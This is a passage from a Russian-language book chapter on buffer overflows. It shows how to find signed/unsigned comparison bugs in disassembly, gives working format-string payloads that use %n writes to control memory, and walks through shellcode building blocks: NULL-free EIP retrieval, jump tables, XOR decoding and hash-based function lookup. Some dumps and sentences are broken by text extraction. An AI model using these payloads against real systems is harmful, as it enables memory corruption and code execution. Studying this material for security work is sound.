Рассмотрим операцию сравнения.
0040D9D9 8B 45 FC
0040D9DC 3B 45 F8
0040D9DF 77 0D

mov
cmp
ja

eax,dword ptr [ebp-4]
eax,dword ptr [ebp-8]
main+4Eh (0040d9ee)

Наличие ja указывает на сравнение беззнаковых чисел. Таким образом, a больше b,
и блок кода пропускается.
Рассмотрим еще один пример.
17:
if(a > 0)
0040DA1A 83 7D FC 00
cmp
dword ptr [ebp-4],0
0040DA1E 7E 0D
jle
main+8Dh (0040da2d)
18:
{
19:
puts("больше нуля");
0040DA20 68 D0 2F 42 00
push
offset string
"больше нуля"
(00422fd0)
0040DA25 E8 E6 36 FF FF
call
puts (00401110)
0040DA2A 83 C4 04
add
esp,4
20:
}

Мы видим, что та же область памяти сравнивается (и выполняется операция пе>
рехода) с помощью команды jle — сравнение чисел со знаком. Это должно вызвать
у нас подозрения, поскольку переход в одной и той же области памяти выполняется
по одинаковому критерию как для беззнакового числа, так и для числа со знаком.
Хакеры любят подобные ситуации.

Исследование проблемы с помощью программы IDA
Можно также выполнять поиск потенциальных ошибок несоответствия чисел
с помощью исследования дизассемблированного кода.
Для операции сравнения беззнаковых чисел следует искать такие команды:
JA
JB
JAE
JBE
JNB
JNA

Переполнение буфера

279

Для операции сравнения чисел со знаком:
JG
JL
JGE
JLE

Можно воспользоваться дизассемблером наподобие IDA для выявления всех
операций с переменными со знаком. Это позволяет получить список интересных об>
ластей кода, как показано на рис. 7.9.

Рис. 7.9. Дизассемблер IDA может использоваться
для создания списка различных вызовов на языке ас
семблера и обозначения мест, где они происходят.
Работая с подобным списком, мы обнаруживаем не
соответствия преобразования знаковых и беззнако
вых чисел

280

Глава 7

Вместо последовательной проверки всех операций, можно выполнить поиск ре>
гулярных выражений, которые используются во всех вызовах. На рис. 7.10 показан
результат использования в качестве строки поиска j[gl].

Рис. 7.10. Использование регулярного выраже
ния в целях выявления сразу нескольких вызо
вов функций

Даже в небольших фрагментах программ можно легко найти области кода, в ко>
торых используются значения со знаком. Если эти области находятся поблизости
точек, возле которых обрабатываются пользовательские данные (т.е. присутствует
вызов функции recv()), то дальнейшее исследование может подтвердить, что дан>
ные были использованы в операции с числами со знаком. Очень часто такая ситуа>
ция может использоваться для организации логических и арифметических ошибок.

Значения со знаком и управление памятью
Подобные ошибки часто можно найти в процедурах управления памятью. Ти>
пичная ошибка в программном коде может выглядеть следующим образом.
int user_len;
int target_len = sizeof(_t);
user_len = 6;
if(target_len > user_len)
{
memcpy(_t, u, a);
}

Значения int указывают на выполнение операций сравнения с числами со знаком,
в то время как функция memcpy использует беззнаковые значения. При компиляции
этой ошибки не выдается никакого предупреждения. Если значение функции контро>
лируется хакером, то предоставление большого числа, например 0x8000000C приве>
дет к тому, что функция будет обрабатывать очень большое число.
Мы можем обнаруживать переменные, которые учитывают размер числа в дизас>
семблированном коде, как показано на рис. 7.11. В данном случае мы видим
sub edi, eax

Переполнение буфера

281

где edi используется как беззнаковая переменная. Если хакер сможет управлять
либо значением edi, либо значением eax, то он постарается изменить edi, заста>
вить это значение перейти нулевую границу и оказаться равным –1.

Рис. 7.11. Схема управления потоком атакуемой программы. Поиск значе
ний со знаком часто позволяет найти целый “клад” полезных данных

Подобным образом мы можем выполнить поиск ошибок, связанных с арифмети>
ческими действиями с указателями (рис. 7.12).
Поиск по выражению e.x.e.x предоставляет длинный список областей кода
(рис. 7.13). Если одно из значений, показанных на рис. 7.13, контролируется пользо>
вателем, то искажение памяти становится вполне решаемой задачей.

282

Глава 7

Рис. 7.12. Выполняем поиск вызовов функций, связан
ных с арифметическими действиями с указателями

Рис. 7.13. Результаты поиска в программе арифметических операций с указателями

Переполнение буфера

283

Уязвимые места, связанные со строкой
форматирования
В принципе нет ничего сложного в использовании ошибок, связанных с примене>
нием строк форматирования. Вполне реально провести успешную атаку с помощью
функции API, которой передается строка форматирования (наподобие %s), когда
значение аргумента строки форматирования контролируется удаленным хакером. К
сожалению, эта проблема достаточно широко распространена, и основной ее причи>
ной является лень программистов. Однако проблема настолько проста, что выявить
ее позволяют простейшие программы исследования кода. Поэтому после выявления
этого класса уязвимых мест в конце 1990>х годов, подобные ошибки были достаточ>
но быстро выявлены и устранены в большей части программного обеспечения.
Знания о существовании ошибок, связанных с использованием строк форматиро>
вания, предоставляли хакерам “ключи от сказочного королевства”. Но когда эти зна>
ния попали в руки специалистов по обеспечению безопасности, то “все богатство
было утрачено”. Представьте, как были разочарованы некоторые люди из круга
“посвященных”. Кто>то отобрал у них источник радости.
Рассмотрим пример стандартной функции, в которой есть ошибка строки форма>
тирования.
void some_func(char *c)
{
printf(c);
}

Обратите внимание, что, очень важно, в отличие от случая жестко закодирован>
ной строки форматирования, в этом случае строка форматирования предоставляется
пользователем и также передается в стек.
Если мы передадим в строку форматирования данные, подобные следующим
AAAAAAAA%08x%08x%08x%08x

значения, которые будут выданы из стека, станут подобны представленным ниже.
AAAAAAAA0012ff80000000007ffdf000cccccccc

Строка %08x заставляет функцию выдавать двойное слово из стека.
Дамп стека выглядит следующим образом.
0012FE94
0012FE98
0012FE9C
0012FEA0
0012FEA4
0012FEA8
0012FEAC
0012FEB0
...
0012FF24
0012FF28
0012FF2C
0012FF30
0012FF34
0012FF38
0012FF3C
0012FF40
0012FF44
0012FF48

31
40
80
00
00
CC
CC
CC

10
FF
FF
00
F0
CC
CC
CC

40
12
12
00
FD
CC
CC
CC

00
00
00
00
7F
CC
CC
CC

1.@.
@ÿ..
.ÿ..
....
.đý.
ÌÌÌÌ
ÌÌÌÌ
ÌÌÌÌ

CC
CC
CC
CC
CC
CC
CC
41
41
25

CC
CC
CC
CC
CC
CC
CC
41
41
30

CC
CC
CC
CC
CC
CC
CC
41
41
38

CC
CC
CC
CC
CC
CC
CC
41
41
78

ÌÌÌÌ
ÌÌÌÌ
ÌÌÌÌ
ÌÌÌÌ
ÌÌÌÌ
ÌÌÌÌ
ÌÌÌÌ
AAAA
мощью функции API. Лучше пояснить это на примере.
int my_int;
printf("AAAAA%n ", &my_int);
printf("got %d", my_int);

В результате исполнения этого кода выводится строка AAAAA got 5. Перемен>
ной присваивается значение 5, поскольку пять символов A были напечатаны к тому
времени, как машина обнаружила спецификатор %n.
Внесем небольшие изменения в наши предыдущие примеры, и рассмотрим стро>
ку форматирования, подобную приведенной ниже.
AAAA\x04\xF0\xFD\x7F\x05\xF0\xFD\x7F\x06\xF0\xFD\x7F\x07\xF0\xFD\
x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0
8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08
x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%n

Обратите внимание, что в нашей строке форматирования есть жестко закодиро>
ванное число (x04\xF0\xFD\x7F), что эквивалентно (согласно прямому порядку
9

Поскольку в данном случае мы работаем со строками на языке C, то в приведенных опе
рациях символ NULL является символом окончания строки. — Прим. авт.

286

Глава 7

байт) числу 0x7FFDF004. Обратите внимание также на спецификатор формата %n
в конце нашей строки. Заполнитель %08x переводит указатель в стеке до позиции
нашего закодированного числа (0x7FFDF004). Затем следует спецификатор форма>
та %n, который заставляет сохранить в переменной (int_pointer) определенное коли>
чество байтов, введенных на данный момент. Указатель стека установлен на число,
которое расценивается как адрес, где следует записать значение переменной
(int_pointer), т.е. данные записываются по адресу 0x7FFDF004. Следовательно, мы
полностью контролируем содержимое памяти по этому адресу.
После выполнения всех этих действий интересующая область памяти выглядит
следующим образом.
7FFDF000
7FFDF004
7FFDF008

00 00 01 00 ....
64 01 00 00 d...
саны 356 байт. В следующем примере обратите внимание, что мы закодировали четыре
адреса в строке, каждый со смещением в один байт. Если мы разместим четыре специфи>
катора формата %n в конце нашей строки форматирования, то сможем переписать каж>
дый байт в интересующем адресе. Таким образом мы способны управлять точным поло>
жением в памяти численного вывода функции с помощью строки форматирования. Как
видим, мы последовательно увеличиваем значение указателя на один байт.
AAAA\x04\xF0\xFD\x7F\x05\xF0\xFD\x7F\x06\xF0\xFD\x7F\x07\xF0\xFD\
x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0
8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08
x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%n%n%n%n

Интересующая область памяти теперь выглядит следующим образом.
7FFDF000
7FFDF004
7FFDF008

00 00 01 00 ....
64 64 64 64 dddd
ведения атак этого типа: текущее количество байтов, представленное в этом приме>
ре, равно 0x164. Нам удалось записать это число четыре раза подряд, каждый раз
сдвигая указатель на один байт. В конечном итоге число 0x64646464 записывается
по интересующему нас адресу.

Спецификатор формата %00u
В предыдущем примере мы использовали текущее значение записанных байтов.
Если “пустить дело на самотек”, то существует вероятность того, что это значение не
будет именно тем значением, которое мы хотим разместить в памяти. К счастью, мы
можем довольно легко управлять значением этого числа. После использования рас>
смотренного выше метода значение имеет только самый младший байт, т.е. нам
нужно заменить значения адресов памяти, в которых записан самый младший байт,
специально подготовленными значениями.
В нашей новой строке форматирования между каждым адресом содержится за>
полнитель 0x41414141.
AAAA\x04\xF0\xFD\x7F\x41\x41\x41\x41\x05\xF0\xFD\x7F\x41\x41\x41\x
\41x\x06\xF0\xFD\x7F\x41\x41\x41\x41\x07\xF0\xFD\x7F%08x%08x%08x%08x
%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

Переполнение буфера

287

%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
%08x%08x%08x%16u%n

Мы также добавили новый спецификатор форматирования %16u. Это новый
спецификатор влияет на значение текущего количества выведенных байтов. В дан>
ном случае к этому значению добавляется 16. Таким образом, используя формат
%XXu, мы можем управлять значением числа, которое размещается в нужной облас>
ти памяти. Отлично!
Результат использования %20u%n выглядит следующим образом.
7FFDF000
7FFDF004
7FFDF008

00 00 01 00
7C 01 00 00
00 00 40 00

....
|... 17c = 380
..@.

Результат использования %40u%n представлен ниже.
7FFDF000
7FFDF004
7FFDF008

00 00 01 00
90 01 00 00
00 00 40 00

....
.... 190 = 400
..@.

Как видим, теперь хакер может контролировать точное значение числа, разме>
щаемого в области памяти, т.е. этот метод позволяет управлять каждым байтом в ин>
тересующей области памяти.
Рассмотрим следующую строку форматирования.
AAAA\x04\xF0\xFD\x7F\x42\x42\x42\x42\x05\xF0\xFD\x7F\x41\x41\x41\
x41\x06\xF0\xFD\x7F\x41\x41\x41\x41\x07\xF0\xFD\x7F%08x%08x%08x%0
8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08
x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
%08x%08x%08x%08x%08x%152u%n%64u%n%191u%n%256u%n

Обратите внимание на значения, взятые для нашего шаблона %XXu. Эта строка
форматирования позволяет получить полное управление над интересующими об>
ластями памяти.
7FFDF000 00 00 01 00 ....
7FFDF004 00 40 FF FF .@ÿÿ
вола NULL. Это, безусловно, ослабляет непосредственную атаку, делая программу
атаки более сложной.

Выявление проблемы в коде
Выявление мест в программе, в которых возможно проведение атак этого вида,
считается только половиной успеха. Одним из важных действий является проверка
изменений в стеке после вызова. Если исправления в стеке (stack correction) добав>
ляются в ESP после подозрительного вызова, значит, у нас есть интересный матери>
ал для работы.
Нормальное использование функции printf()
printf("%s", t);
00401032
00401037

call
add

printf (00401060)
esp,8

288

Глава 7

Некорректное использование функции printf()
printf(t);
0040102D
00401032

call
add

printf (00401060)
esp,4

Обратите внимание, что измненение указателя в стеке после некорректного вы>
зова функции printf() составляет только 4 байта. Это подскажет хакеру, что он
нашел уязвимое место с возможностью использования при атаке строки форматиро>
вания.
Шаблон атаки: переполнение буфера с помощью строки форматирования
в функции syslog()
При использовании функции syslog очень часто допускаются ошибки и предоставленные
пользователем данные передаются как строка форматирования. Это достаточно распространенная проблема, из-за которой были обнаружены многие уязвимые места и созданы многие
программы атаки.

syslog()
В почтовом сервере eXtremail используется функция flog(), которая передает
предоставленные пользователем данные как строку форматирования вызову функции
fprintf. Этой ошибкой можно воспользоваться при создании программы атаки.

Переполнение буфера в куче
Как известно, куча (heap) состоит из больших блоков выделенной памяти. В
каждом блоке есть небольшой заголовок, в котором указывается размер блока и
другая служебная информация. Если происходит переполнение буфера в куче, то
при атаке перезаписывается следующий по порядку блок кучи, включая и заголо>
вок. Если есть возможность перезаписать в памяти заголовок следующего блока,
то в память можно записать и подготовленные данные. При применении разных
(но похожих) программ атаки на переполнение буфера в куче на конкретное при>
ложение мы часто получаем уникальные результаты, что усложняет проведение
атак этого типа. В зависимости от программного кода, будут меняться точки, в ко>
торых возможно искажение данных в памяти. Это не так плохо, это лишь означает,
что создаваемая программа атаки должна быть уникальной и подготовленной для
взлома конкретной цели.
Хотя об атаках на переполнение буфера в куче известно уже достаточно давно,
метод их проведения оставался довольно непонятным. В отличие от ошибок пере>
полнения буфера в стеке (которые уже практически полностью устранены в про>
граммах), уязвимые места для атак на переполнение буфера в куче остаются широко
распространенными.
Как правило, данные кучи размещаются в памяти последовательно. Направление
роста буфера показано на рис. 7.14.

Переполнение буфера

289

Заголовок

Буфер в куче

Заголовок

Буфер в куче

Заголовок

Буфер в куче

Рис. 7.14. Направление роста буферов в куче на стандартной
платформе

В каждой операционной системе и компиляторе используются различные методы
управления кучей. И даже каждое отдельное приложение на одной платформе мо>
жет использовать различные методы для управления кучей. При создании програм>
мы лучше всего восстанавливать исходный код из кучи на конкретной системе, не
забывая о том, что в каждом из атакуемых приложений используются немного раз>
личные методы работы с кучей.
На рис. 7.15 показано, как в системе Windows 2000 организована информация в
заголовке кучи.
Размер этого блока
кучи / 8

Размер предыдущего
блока кучи / 8

Флаги

Рис. 7.15. В системах Windows 2000 по это
му шаблону создаются заголовки кучи

Рассмотрим следующий фрагмент кода.
char *c = (char *) HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 10);
char *d = (char *) HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 32);
char *e = (char *) HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 10);
strcpy(c, "Hello!");
strcpy(d, "Big!");
strcpy(e, "World!");
HeapFree( GetProcessHeap(), 0, e);

и кучу
...
00142ADC
00142AE0
00142AE4
00142AE8
00142AEC
00142AF0
00142AF4
...

00
07
00
42
00
00
00

00
00
07
69
00
00
00

00
05
18
67
00
00
00

00
00
00
21
00
00
00

....
....
....
Big!
де. Однако большинство хакеров применяют средства “ручной сборки” для создания
кода командного интерпретатора. Для пояснения базовых принципов мы воспользу>
емся машинным кодом для процессоров Intel семейства x86.
Хотя программный код на языке высокого уровня должен быть скомпилирован
(как правило, в ущерб эффективности) в машинный код, хакер способен создать
вручную намного более сжатый и эффективный код. При этом у хакера появляется
несколько преимуществ, первое из которых касается размера программного кода.
Используя написанные вручную команды, хакер может создавать очень “компакт>
ные” программы. Во>вторых, если есть ограничение относительно количества дос>
тупных для использования при атаке байтов (например, при наличии установлен>
ных фильтров), то подобный код позволяет обойти это ограничение. При использо>
вании стандартного компилятора достичь этого не удастся.
В этом разделе мы рассмотрим примеры полезной нагрузки (точнее, вредоносных
данных). Эту нагрузку можно мысленно разделить на нескольких частей, которые
используются для описания концепций проведения атак. При этом мы предполага>
ем, что выбранный вектор вторжения позволяет хакеру добиться успеха и что указа>
тель центрального процессора в режиме исполнения установлен на начало полезной
нагрузки. Другими словами, мы начинаем с момента активизации полезной нагрузки
и исполнения внедренного программного кода.
Нарис. 7.17 изображена структура стандартной полезной нагрузки. Прежде все>
го, нам нужно “сориентироваться на местности”. Хакер создает небольшой фрагмент
кода, который позволяет определить значение указателя команд. Другими словами,
этот код позволяет выяснить, где в памяти размещается полезная нагрузка. Теперь

Переполнение буфера

293

нужно создать динамическую таблицу переходов (dynamic jump table) для всех
внешних функций, которые мы планируем использовать в программе атаки (разу>
меется, мы не хотим вручную программировать вызов сокета, когда мы просто мо>
жем использовать интерфейс сокета, который экспортируется
Определение
из системной библиотеки DLL). Таблица переходов позволяет
положения в памяти
нам использовать любую функцию из любой системной биб>
лиотеки. Мы также оставили место для размещения “другого
Таблица переходов
с фиксированными
кода”, содержимое которого предоставляем придумать нашим
адресами
читателям. В этой части содержится программа атаки, которую
хочет запустить хакер. И в самом конце содержится раздел дан>
Другой
ных, в котором могут быть записаны строки данных и другая
код
информация.
Таблица
переходов
Данные

Рис. 7.17. Структура стандартных вредоносных данных, пред
назначенных для проведения атак на переполнение буфера

Сведения о размещении в памяти
Прежде всего, для использования полезной нагрузки следует выяснить, где
она размещается в памяти (провести “рекогносцировку”). Без этой информации
мы не можем найти раздел с данными или таблицу переходов. Не забывайте, что
наша полезная нагрузка загружается как один большой блок данных. Указатель
команд в данный момент установлен на начало этого блока. Если мы можем уз>
нать значение этого указателя, то с помощью несложных арифметических опе>
раций мы выясним положение в памяти других частей нашей полезной нагруз>
ки. Для определения текущего положения в памяти можно воспользоваться сле>
дующими командами.
RELOC:

call
pop

RELOC
edi // Положение в памяти(текущее значение eip)

Команда call заставляет записать значение EIP в стек. Мы немедленно извлека>
ем это значение из стека и размещаем его в EDI . При ассемблировании кода эта ко>
манда преобразуется в следующий набор байтов.
E8 00 00 00 00 5F

В этой строке содержатся четыре нулевых байта. Главным препятствием при
проведении атак на переполнение буфера являются нулевые байты, поскольку нали>
чие байта NULL (как мы рассказывали выше) в большинстве случаев будет означать
завершение операции по работе со строкой. Таким образом, в разделе “Определение
положения в памяти” не должно содержаться никаких символов NULL.
Возможно, стоит попробовать использовать следующий код.
START:
RELOC2:

jmp

RELOC3

pop
jmp

edi
AFTER_RELOC

294
RELOC3:

Глава 7

call

RELOC2

AFTER_RELOC:

Для этого кода могут потребоваться некоторые пояснения. Читатели могли за>
метить, что дело тут в одном лишнем бите. Сначала осуществляется переход к
RELOC3, а затем назад к RELOC2. Мы хотим, чтобы вызов перешел к области памя>
ти до оператора вызова (call). Эта хитрость приведет к отрицательному значе>
нию смещения для байтов нашего кода, что устранит символы NULL. Мы добав>
ляем дополнительные переходы, чтобы обойти эти хитрости. После занесения зна>
чения указателя команд в регистр EDI, мы “перепрыгиваем” в оставшуюся часть
кода (AFTER_RELOC).
В результате компиляции этого хитрого кода мы получили следующий набор
байтов.
EB 03 5F EB 05 E8 F8 FF FF FF

Совсем неплохо. Правда, появилось четыре дополнительных байта по сравнению
с первой версией, но действенность намного повысилась, поскольку мы удалили
символы NULL.

Размер полезной нагрузки
Размер полезной нагрузки является очень важным фактором. Например, если
нужно “протиснуться в узкий проход”, который ограничен правилами протокола и
вершиной стека, то в распоряжении хакера остается только 200 байт. Не так уж мно>
го места для размещения нагрузки. На счету каждый байт.
Согласно описанной выше схеме, полезная нагрузка включает динамическую
таблицу переходов и большой блок кода, предназначенный для упорядочивания ра>
боты с этой таблицей. Обратите внимание, что при недостатке места мы можем
сжать таблицу переходов и код для этой таблицы, просто жестко закодировав адреса
всех вызовов функций, которые мы планируем использовать.

Использование жестко закодированных вызовов функций
Использование в коде любых динамических данных приводит к увеличению его
размера. Чем больше значений жестко закодировано, тем меньше программный код.
Функции по сути являются внешними областями памяти. Поэтому вызов функции
означает переход к их адресу — легко и просто. Если заранее знать адрес используе>
мой функции, то нет необходимости добавлять код для ее поиска.
Хотя жесткое кодирование предоставляет преимущество уменьшения размера
полезной нагрузки, но необходимо учесть и следующий недостаток — наша полезная
нагрузка может оказаться бесполезной, если искомая функция будет перемещена.
Даже для одинакового программного обеспечения на двух различных компьютерах
могут использоваться различные адреса вызова функций. Это очень серьезная про>
блема, из>за которой жестко закодированные адреса редко приносят успех. Лучше
всего избежать жесткого кодирования, кроме тех случаев, когда без сокращения кода
обойтись невозможно.

Переполнение буфера

295

Использование динамических таблиц переходов
В большинстве случаев состояние атакуемой системы предсказать очень сложно.
Это считается серьезным препятствием для жесткого кодирования адресов. Однако
есть несколько интересных методов “изучения” того, где могут находиться функции.
Созданы таблицы соответствий (lookup table), в которых содержатся каталоги
функций. Определив такую таблицу, можно найти функцию. Если в полезной на>
грузке требуется использовать несколько функций (что чаще всего и наблюдается),
все адреса этих функций можно будет найти “одним махом” и разместить результаты
в таблицу переходов. В дальнейшем для вызова функции вполне реально просто ис>
пользовать ссылку на создаваемую таблицу переходов.
Удобным способом создания таблицы переходов является загрузка базового ад>
реса таблицы переходов в регистр центрального процессора. В центральном процес>
соре обычно есть несколько регистров, которые можно безопасно использовать во
время выполнения других задач. Удобным для этой цели является регистр EBP —
регистр указателя базы кадра, обычно используемый для хранения адреса стекового
фрейма (ЕВР содержит адрес, начиная с которого в стек вносится информация или
копируется из него). Однако вызовы функций могут быть закодированы как смеще>
10
ния относительно указателя базы .
#define
#define
#define
#define
#define
#define
#define
#define
#define

GET_PROC_ADDRESS
LOAD_LIBRARY
GLOBAL_ALLOC
WRITE_FILE
SLEEP
READ_FILE
PEEK_NAMED_PIPE
CREATE_PROC
GET_START_INFO

[ebp]
[ebp +
[ebp +
[ebp +
[ebp +
[ebp +
[ebp +
[ebp +
[ebp +

4]
8]
12]
16]
20]
24]
28]
32]

С помощью этих удобных операторов вполне реально ссылаться на функции в
таблице переходов. Например, используем следующий простой код для вызова
внешней функции GlobalAlloc().
call GLOBAL_ALLOC

В действительности это означает, что
call [ebp+8]

Регистр ebp указывает на начало нашей таблицы переходов и каждая запись в
этой таблице является указателем (размером 4 байт). Таким образом, строка
[ebp+8] указывает на третий указатель в нашей таблице.
Инициализация таблицы переходов с помощью относительных значений может
оказаться проблематичной. Существует множество способов для определения адре>
са функции в памяти. В некоторых случаях поиск может быть выполнен по имени
функции. Код для управления таблицей переходов может осуществлять повторяю>
щиеся вызовы функций LoadLibary() и GetProcAddress() для загрузки указа>
телей функций. Безусловно, при таком методе требуется добавление имен функций
10

Более подробную информацию о том, как и зачем создается этот код, можно получить в
книге Building Secure Software, по адресу http://www.rootkit.com. Там доступны все
фрагменты программного кода из этого раздела, а также наборы средств для создания атак
на переполнение буфера. — Прим. авт.

296

Глава 7

в полезную нагрузку (вот здесь и пригодится раздел “Данные”). В нашем примере
код по управлению таблицей переходов способен выполнять поиск функций по име>
ни. При этом раздел данных должен иметь следующий формат.
0xFFFFFFFF
DLL NAME 0x00 Function Name 0x00 Function Name 0x00 0x00
DLL NAME 0x00 Function Name 0x00 0x00
0x00

Наиболее важным моментом в этом примере является наличие байтов NULL
(0x00). Два символа NULL завершают цикл загрузки библиотеки DLL, а три симво>
ла NULL завершают весь процесс загрузки. Например, чтобы заполнить таблицу пе>
реходов, воспользуемся следующим блоком данных.
char data[] =

"kernel32.dll\0" \
"GlobalAlloc\0WriteFile\0Sleep\0ReadFile\0PeekNamedPipe\0" \
"CreateProcessA\0GetStartupInfoA\0CreatePipe\0\0";

Также обратите внимание, что мы разместили четырехбайтовую последователь>
ность символов 0xFF перед форматом раздела данных. Здесь в качестве подсказки
можно использовать любое значение. Ниже мы покажем, как находить раздел дан>
ных в полезной нагрузке.

Определение раздела данных
Чтобы определить месторасположение раздела данных, достаточно просто вы>
полнить поиск (вперед с текущей позиции) значения>подсказки. Мы уже узнали те>
кущее значение на первом этапе “рекогносцировки”. Реализовать поиск достаточно
просто.
GET_DATA_SECTION:
inc
cmp
jne
add

edi
// наша точка рекогносцировки
dword ptr [edi], -1
GET_DATA_SECTION
edi, 4
// мы сделали это, получив подсказку

Не забывайте, что в регистре EDI содержится значение указателя на текущую по>
зицию в памяти. Мы увеличиваем это значение, пока не находим –1 (0xFFFFFFFF).
Увеличиваем значение указателя еще на 4 байт и регистр EDI не будет указывать на
начало раздела данных.
При использовании строк возникает проблема большого размера данных, кото>
рый требуется для сохранения строк в полезной нагрузке. Кроме того, возникает не>
обходимость использования строк, завершающихся символом NULL. В большинстве
случаев символ NULL не годится для использования в векторе вторжения, т.е. эти
символы полностью исключаются при атаке. Безусловно, мы можем воспользовать>
ся операцией XOR для защиты части строки нашей полезной нагрузки. Это не так
сложно, но возникают издержки относительно создания процедур кодирова>
ния/декодирования XOR.

Защита с помощью XOR
Это очень распространенная хитрость. Можно создать небольшую процедуру для
XOR>кодирования данных до их использования в программе. Использовав при опе>
рации XOR какое>то значение, можно полностью избавиться от символов NULL

Переполнение буфера

297

в данных. Ниже приведен пример циклического кода для декодирования данных по>
лезной нагрузки, закодированных с помощью операции XOR по байту 0xAA.

LOOPA:

mov
add
xor
mov
xor
inc
loop

eax, ebp
eax, OFFSET (см. Смещение ниже)
ecx, ecx
cx, SIZE
[eax], 0xAA
eax
LOOPA

В этом небольшом фрагменте кода берется только несколько байтов нашей по>
лезной нагрузки, а в качестве стартовой точки используется значение регистра ebp.
Смещение для нашей строки данных вычисляется по базовому указателю (ebp), по>
сле чего начинается цикл выполнения операции XOR для строки байтов (в качестве
второго аргумента используется значение 0xAA). Это преобразование позволяет ис>
ключить все “ненужные” символы NULL. Однако для полной уверенности лучше
проверить свою строку. При операции XOR некоторые символы могут быть преоб>
разованы в нежелательные символы с той же простотой, с которой эта операция по>
зволяет от них избавиться.

Использование контрольных сумм
Еще один метод при работе со строками заключается в размещении в полезной
нагрузке контрольной суммы для строки. Оказавшись в пространстве искомого про>
цесса, можно разместить таблицу функций и выполнить хэширование имени каждой
функции. Вычисленные контрольные суммы можно сравнить с сохраненной кон>
трольной суммой. Совпадение, как правило, свидетельствует о том, что найдена
нужная функция. “Берем” адрес совпадающей функции и заносим его в таблицу пе>
реходов. Преимущество состоит в том, что размер контрольных сумм может состав>
лять 4 байт и адрес функции может иметь такой же размер, т.е. при выявлении сов>
падения вполне реально просто заменить контрольную сумму адресом функции. Это
позволяет сэкономить место и сделать все более элегантно (плюс отсутствие симво>
лов NULL).
_F1:

xor

ecx, ecx

xor
rol
inc
cmp
jne
cmp

cl, byte ptr [ebx]
ecx, 8
ebx
byte ptr [ebx], 0
_F1
ecx, edi // сравниваем конечную контрольную сумму

В этом коде предполагается, что регистр EBX указывает на строку, по отношению
к которой мы хотим выполнить операцию хэширования. Контрольная сумма вычис>
ляется до выявления символа NULL. Подсчитанная контрольная сумма сохраняется
в ECX. Если искомая контрольная сумма хранится в EDI, то контрольные суммы
сравниваются. При обнаружении совпадения можно потом внести исправления
в таблицу переходов с помощью установленного указателя функции.
Безусловно, создание полезной нагрузки нельзя назвать легким занятием. Наи>
более важно воспрепятствовать появлению символов NULL, оставить нагрузку не>
большой по объему и отслеживать положение в памяти.

298

Глава 7

Полезная нагрузка для архитектуры RISC
Во всех примерах этой главы предполагалось использование процессора Intel x86.
Но описанные выше хитрости могут применяться для процессоров любого типа.
Уже создано довольно много хорошей документации по написанию кода командного
интерпретатора для различных платформ. Конечно, каждый тип процессора имеет
свои характерные особенности, включая отложенную передачу управления (branch
11
delay) и кэширование .

Отложенная передача управления
В чипах на основе архитектуры RISC иногда происходит странное явление под на>
званием отложенная передача управления (branch delay, или delay slot). При этом коман>
да может выполняться после каждой ветви кода. Это происходит из>за того, что текущая
ветвь кода не начинается, пока не выполнится следующая команда. Таким образом, сле>
дующая команда выполняется до того, как управление передается по указанному адресу
положения ветви кода, т.е. даже если указана команда перехода, все равно есть команда,
которая выполняется сразу после этой команды перехода без осуществления самого это>
го перехода. В некоторых случаях эта команда не выполняется. Например, можно отме>
нить выполнение команды согласно отложенной передаче управления на архитектурах
PA>RISC, установив “обнуляющий” бит в команде перехода.
Наиболее простым решением проблемы является установка команды NOP после
каждой ветви кода. Однако опытные программисты используют преимущества от>
ложенной передачи управления и применяют значимые команды для выполнения
дополнительной работы. Например, это удобно при необходимости уменьшения
размера полезной нагрузки.

Полезная нагрузка для архитектуры MIPS
Архитектура MIPS значительно отличается от архитектуры x86. Во>первых, в чи>
пах R4x00 и R10000 используется 32 регистра и каждая команда имеет размер 32 бит.
12
Во>вторых, применяется конвейерная организация вычислительного процесса .

MIPS-команды
Еще одно существенное отличие состоит в том, что для многих команд использу>
ется три регистра вместо двух. В командах с двумя операндами результат вычисле>
ния заносится в третий регистр. В архитектуре x86 результат всегда заносится в ре>
гистр для второго операнда.
11

Подробную информацию по созданию кода для командного интерпретатора можно по
черпнуть из материалов The Last Stage of Delerium Research Group (http://lsd-pl.net)
под названием “UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes” (“Соз
дание машинного кода UNIX для демонстрации возможности проведения атак на переполне
ние буфера”). — Прим. авт.
12
Мы только вкратце обсудим архитектуру MIPS. Чтобы получить более подробную ин
формацию по этой теме прочтите статью “Writing MIPS/Irix Shellcode” (“Создание кода для
командного интерпретатора на платформах MIPS/Irix, Phrack Magazine #56, article 15). —
Прим. авт.

Переполнение буфера

299

Формат команды MIPS можно представить следующим образом
Основной код
машинной
команды

Дополнительный
код машинной
команды

Подкод

Наиболее важным является основной код машинной команды, так как он опреде>
ляет, какая именно команда будет выполнена. Значение дополнительного кода ма>
шинной команды зависит от основного кода. В некоторых случаях дополнительный
код используется для указания версии команды, в других случаях он определяет, ка>
кой регистр будет использован для основного кода.
В табл. 7.1 приведены стандартные MIPS>команды (это далеко не полный список,
и мы рекомендуем читателям обратиться к источникам, содержащим более расши>
ренный набор команд MIPS).
Таблица 7.1. Стандартные MIPS-команды
Команда

Операнды

Описание

OR

DEST, SRC, TARGET

DEST = SRC | TARGET

NOR

DEST, SRC, TARGET

DEST = ~(SRC | TARGET)

ADD

DEST, SRC, TARGET

DEST = SRC + TARGET

AND

DEST, SRC, TARGET

DEST = SRC & TARGET

BEQ

SRC, TARGET, OFFSET

Операция ветвления: если равно, перейти на значение
OFFSET

BLTZAL

SRC, OFFSET

Операция ветвления, если SRC < 0

XOR

DEST, SRC, TARGET

DEST = SRC ^ TARGET

SYSCALL

n/a

